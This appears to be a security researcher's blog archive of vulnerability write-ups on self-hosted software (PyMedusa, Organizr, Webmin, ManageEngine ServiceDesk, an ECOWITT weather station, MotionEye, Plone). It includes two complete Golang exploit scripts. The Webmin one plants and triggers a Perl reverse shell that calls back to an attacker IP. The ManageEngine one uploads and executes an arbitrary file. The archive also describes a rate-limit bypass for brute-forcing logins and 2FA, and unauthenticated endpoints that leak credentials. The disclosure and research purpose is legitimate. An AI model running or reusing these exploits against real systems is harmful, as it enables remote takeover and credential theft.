Category Archives: CVE

PyMedusa OS Command Injection

PyMedusa is a well-known video library manager that many of us self-hosted types may use to organize our libraries. I decided to give it a spin one day and found a classic OS command injection as seen here. I reported it ASAP, though I was a little confused as to how to fix it at that time, but the team fix it quite quickly. A great response time!

Sometimes people may say, “Hey, the OSCP is worthless and you won’t find anything like that IRL.” To that I’d reply, “You’d be surprised.” Also, this is a good example of OSWE level security issues. This is a Python app that you can simply clone, install the requirements, and debug easily in VSCode.

This was given CVE-2023-28627.

Self-Hosted Security Part ? – Poor Rate Limiting in Organizr

Organizr is a self-hosted application written in PHP that basically helps you self-host other services at your home. It’s nifty application with a surprisingly large amount of functionality. I was recently poking at it to find some security holes, and the first thing I ran across was a rate limiting issue on the login function.

When making a POST request to login, there is a body parameter called loginAttempts. If your login fails, the value of this parameter is incremented (via client side JS) and included in the next login request. When the value reaches a certain number, which is verified in PHP on the backend, the user is locked out.

You can probably see where this is going. Just send it to Burp intruder and never increment the value. Tada!

POST request to login showing the loginAttemps parameter in the request body — `loginAttempts` is set to 1 and the request is sent to Burp Intruder for brute forcing

The PHP backend will always see the value of loginAttempts as 1, and brute forcing is allowed to occur.

The same endpoint and method is used to rate-limit 2FA code entry, which allows an attacker to also brute force a 2FA code. This takes a bit of time – I haven’t done the math – but it still works. An attacker can just sit back and fire away with Burp Intruder. A successful login will generate cookies that will work for their specified amount of time.

Burp screenshot showing the response when a successful 2FA code is submitted

This issue has been reported on https://huntr.dev.

Webmin CVE-2022-0824 RCE in Golang

I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.

https://nvd.nist.gov/vuln/detail/CVE-2022-0824

https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/

https://www.webmin.com/security.html

You can also find this code on my Github.

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
)

func check(e error) {
	if e != nil {
		fmt.Println(e)
	}
}

func makePayload(callbackIP string, callbackPort string) {
	payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
	err := os.WriteFile("./commands.cgi", payload, 0644)
	check(err)

	return
}

func login(client http.Client, target string, creds string) string {

	loginURL := target + "/session_login.cgi"

	params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]

	request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("Cookie", "redirect=1; testing=1")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	var sidCookie = ""

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {

		sidCookie = resp.Request.Response.Cookies()[0].Value
	}
	resp.Body.Close()
	// now use sid cookie to make sure it works to log in
	request, err = http.NewRequest("GET", target, nil)
	request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)

	resp, err = client.Do(request)
	if err != nil {
		log.Fatalln(err)
	}
	bodyBytes, err := io.ReadAll(resp.Body)
	bodyString := string(bodyBytes)
	resp.Body.Close()
	r, _ := regexp.Compile("System hostname")
	if !r.MatchString(bodyString) {
		fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
		return ""
	}

	return sidCookie
}

func runServer(serverURL string) {
	fmt.Println("--> Running a server on " + serverURL)
	serverPort := strings.Split(serverURL, ":")[1]

	exec.Command("setsid",
		"/usr/bin/python3",
		"-m",
		"http.server",
		serverPort,
		"0>&1 &").Output()

	fmt.Println("--> Server Started!")

	return
}

func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {

	URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"

	serverIP := strings.Split(serverURL, ":")[0]
	serverPort := strings.Split(serverURL, ":")[1]

	bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
	modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"

	bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func execShell(client http.Client, target string, sid string) {
	fileLocation := target + "/commands.cgi"

	fmt.Println("--> Triggering shell. Check listener!")

	request, err := http.NewRequest("GET", fileLocation, nil)
	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func stopServer() {
	out, _ := exec.Command("kill",
		"-9",
		"$(lsof",
		"-t",
		"-i:{self.pyhttp_port})").Output()
	fmt.Println("--> Killed Server!")
	output := string(out[:])
	fmt.Println(output)

	return
}

func main() {
	fmt.Println("--> Running Exploit! Ensure listener is running!")
	if runtime.GOOS == "windows" {
		fmt.Println("Can't Execute this on a windows machine")
		return
	}

	target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
	creds := flag.String("c", "username:password", "Format, username:password")
	serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
	callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
	callbackPort := flag.String("p", "9999", " Callback port to receive revshell")

	flag.Parse()

	// uncomment the following to use a local proxy
	// proxyUrl, err := url.Parse("http://localhost:8080")
	// check(err)

	// tr := &http.Transport{
	// 	TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
	// 		MaxVersion: tls.VersionTLS11},
	// 	Proxy: http.ProxyURL(proxyUrl),
	// }
	// client := &http.Client{Transport: tr}

	// comment out these two lines if using the proxy above.
	tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
	client := &http.Client{Transport: tr}

	makePayload(*callbackIP, *callbackPort)
	sid := login(*client, *target, *creds)
	runServer(*serverURL)
	downloadURL(*client, *target, *serverURL, *creds, sid)
	modifyPermissions(*client, *target, *serverURL, *creds, sid)
	execShell(*client, *target, sid)
	stopServer()
}

Golang Proof of Concept Exploit for CVE-2021-44077: PreAuth RCE in ManageEngine ServiceDesk Plus < 11306

Once again, I decided to rewrite an exploit in Golang. Once again, I did thirty seconds of searching to find if someone had already written this one in Golang. Once again, I did not find a preexisting POC in Golang. Once again, I wrote one. Once again, my code is horrible.

You can find a vulnerable version of the software here. You can find this code on my Github here.

package main

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io/ioutil"
	"log"
	"mime/multipart"
	"net/http"
	"net/url"
	"os"
)

func uploadFile(uri string, paramName, path string) {

	file, err := os.Open(path)

	if err != nil {
		log.Fatal(err)
		return
	}
	fileContents, err := ioutil.ReadAll(file)
	if err != nil {
		log.Fatal(err)
		return
	}
	fi, err := file.Stat()
	if err != nil {
		log.Fatal(err)
		return
	}
	file.Close()

	body := new(bytes.Buffer)
	writer := multipart.NewWriter(body)
	part, err := writer.CreateFormFile(paramName, fi.Name())
	if err != nil {
		log.Fatal(err)
		return
	}
	part.Write(fileContents)
	writer.Close()

	request, err := http.NewRequest("POST", uri, body)
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", writer.FormDataContentType())

	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {
		fmt.Println("Response code should be 401, if successful uploading occured.")
		fmt.Println(resp.StatusCode)
	}

	defer resp.Body.Close()

	return
}

func triggerExploit(uri string) {
	// set a proxy for troubleshooting
	proxyUrl, err := url.Parse("http://localhost:9090")
	tr := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyURL(proxyUrl),
	}
	client := &http.Client{Transport: tr}

	triggerURL := uri + "RestAPI/s247action"
	postData := "execute=s247AgentInstallationProcess"

	request, err := http.NewRequest("POST", triggerURL, bytes.NewBufferString(postData))
	if err != nil {
		return
	}

	request.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36")
	request.Header.Set("Origin", "null")
	request.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	client.Do(request)
}

func main() {
	// get flags
	VulnerableInstance := flag.String("u", "http://127.0.0.1:8080", "Vulnerable Service Desk URL: http://127.0.0.1:8080")
	maliciousFileName := flag.String("f", "exploit.exe", "File you want to upload: exploit.exe")

	flag.Parse()

	path, err := os.Getwd()
	if err != nil {
		log.Fatal(err)
	}
	fullMaliciousFileName := path + *maliciousFileName

	fmt.Println("\n---> Uploading File!")
	uploadFile(*VulnerableInstance+"RestAPI/ImportTechnicians?step=1", "theFile", fullMaliciousFileName)

	fmt.Println("\n---> Triggering!")
	triggerExploit(*VulnerableInstance)

	fmt.Println("\nExploit Completed!")

}

The Incredibly Insecure Weather Station – Part 2

Edit: The weather station issues were given CVE-2022-35122.

I contacted the manufacturer in regards to these issues. They responded quickly. I wasn’t expecting anything to be done about the issues that I brought up, but they did do something…

I logged into my weather station yesterday, an lo and behold, there is an update. Most notably the following, “added password encryption for HTTP transmission.”

Screenshot from the app itself showing the update notes.

Encryption for the password during HTTP transmission? What does this even mean? HTTPS? Why wouldn’t they just say HTTPS? Just encrypting the password client side and sending it to the station for decryption? That seems odd. I was hoping for HTTPS, but I would soon be let down.

curl request from before and after the ‘upgrade’

Before updating, I decided to try and make the curl request as I had done before to the get_device_info endpoint. As before, the password to the system was returned.

Next, I upgraded the device and then made the same request. Would you look at that, the APpwd now does look ‘encrypted.’ But, as you may have guessed, it is actually just base 64 encoded.

V2VhdGhlcjI0Njg5 –> Weather24689

Or, using jq, you can do this all on the CLI.

I think this is a losing battle.

The Incredibly Insecure Weather Station

Edit: This was given CVE-2022-35122.

I recently purchased the ECOWITT GW1102 Home Weather Station. It’s exactly what it sounds like – a mini weather station for your house. It has all the usual sensors you’d expect a weather station to have, and I’m actually very pleased with the hardware, considering the cheap price.

However, it is missing one thing – software security. But really, what did I expect from a cheap home weather station?

Comically, the landing page of the weather station’s server gives an illusion of some sort of security.

Let’s intercept a request of us logging in.

This is all over HTTP. We post our password to /set_login_info – which seems like an odd endpoint for logging in. Notice the response does not set any cookies or seem like it actually does any sort of verification. Hmmm.

Anyway, after logging in, we are directed to /liveData.html. This page does exactly what its name implies. But let’s look at the links on the side of the page – particularly the Local Network link.

Click the Local Network link on the left-hand side.

If we intercept the requests in Burp after we click the Local Network link, we see a call to a /get_network_info endpoint. This returns info about the WiFi network to which the weather station is connected.

Interesting. Notice again that there appears to be no authentication going on with this request. Let’s try to curl this endpoint

Or how about the device password (not that you actually need the password now).

The password is now Weather24689 because I changed it without being authorized.

You can also do fun things like reboot the station, or get the user’s external weather reporting site’s API keys, etc. I notified ECOWITT support, but I’m assuming this won’t be fixed any time soon.

Edit: added this because someone didn’t understand this is an issue.

Edit: I added this picture above of the get_ws_settings endpoint. As you can see, I’m not using any authentication. You can also see I was trying some shenanigans, but nonetheless, you can also see this returns several API keys for other services, which is not a good thing to be handing out. It basically is the API endpoint for this page that is behind the ‘authentication’ of the application.

I did find some of these exposed to the internet, but I’d probably avoid that, if I were you. With that said, I actually like the hardware. It’s fun to play around with, and it is inexpensive.

MotionEye Config Info Disclosure

Edit: This was given CVE-2022-25568. As mentioned in my previous posts here and here, I’ve done a little digging into the conditions that are required for the MotioneEye config file to be world viewable, and I’ve reached this conclusion:

As long as a “user” password is not set, the config file will be world readable. Even if an “admin” password has been set, the /config/list file will still be readable by everybody. So, while someone could think they are doing the correct thing by creating a password for the admin user, they may still be leaking private information. Here is a innocuous example from a live instance:

As you can see in this picture, IP addresses/services/passwords are exposed. This is a rather innocuous example, being that it is an internal IP address, but it illustrates how this could be an issue. Imagine if those were your public FTP server credentials. Or if they were your gmail credentials for smtp notifications. The list goes on.

Along with usernames, passwords, auth keys, and email addresses, these config files also contain less sensitive information like internal network IP addresses and URLs, drive and mounting information.

In many ways this vulnerability may be worse that the MotionEye RCE vulnerability that I reported and received a CVE for. In that case, the admin password needed to be left blank (or easily guessed) for someone to get into the admin panel and achieve RCE. In this case, a user could think they’re being secure by setting an admin password, but they leave the user password blank – and the config remains viewable.

I’ve found gmail, gdrive, ftp, sftp, telegram stuff (not sure how auth works there), etc. all exposed to the WWW in these files.

I’ve submitted an issue on the MotionEye github page, but if it is anything like last time, they don’t plan on fixing it/see it as a non-issue.

Edit: The issue was closed before I even finished this post.

Edit: The issue was reopened and I submitted a pull request to fix the issue, although my fix was not tested much, so it may not work properly.

Update: Hacking MotionEye – CVE-2021-44255

I was given CVE-2021-44255 for this – authenticated RCE via a malicious tasks (python pickle) file. So that’s fun. Even though it is authenticated, the default username is admin and the default password is blank, so you know how these things go. I actually haven’t heard of any MotionEye instances being used in botnets or anything.

I should probably request a CVE for the unauthenticated information disclosure that I found, but I need to do some more research on that one.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44255

https://nvd.nist.gov/vuln/detail/CVE-2021-44255

Learning Go By Writing a POC for Gitlab CVE-2021-22205

I’ve been wanting to learn Go, and I learn by doing, so I decided to write a POC for CVE-2021-22205, which is fairly straightforward RCE in Gitlab that dropped a few weeks ago. My process in developing this went like this.

Do thirty seconds of research to find a prior Golang POC for this CVE. I didn’t find one, but I’m sure they exist somewhere. I still would have written this, even if I found one. It would make for something to compare my poorly written code to.
Start writing code. My thoughts the whole time while I was writing this were some variation of the following, “There must be a better way to do this.”
Test.
Rewrite.
Repeat above for about 6 hours.
Success!

I’m going to need more practice. I’ve been so used to python for the last ten years, moving to Golang is going to take some work.

Anyway, here is a link to my POC.

CVE-2021-35959 Stored XSS in Folder Contents on Plone 5-5.2.4

I’ve been testing some new Python-based CMSs and CMS-like software. I’ve heard of Plone before, but I never had a chance to check it out until now. I was a couple of days into my experimenting when I ran across this issue.

I have to say, the Plone team’s response was great. I got an almost immediate response from the security team, and a hotfix was pushed less than a week later.

Please see the following links for more information.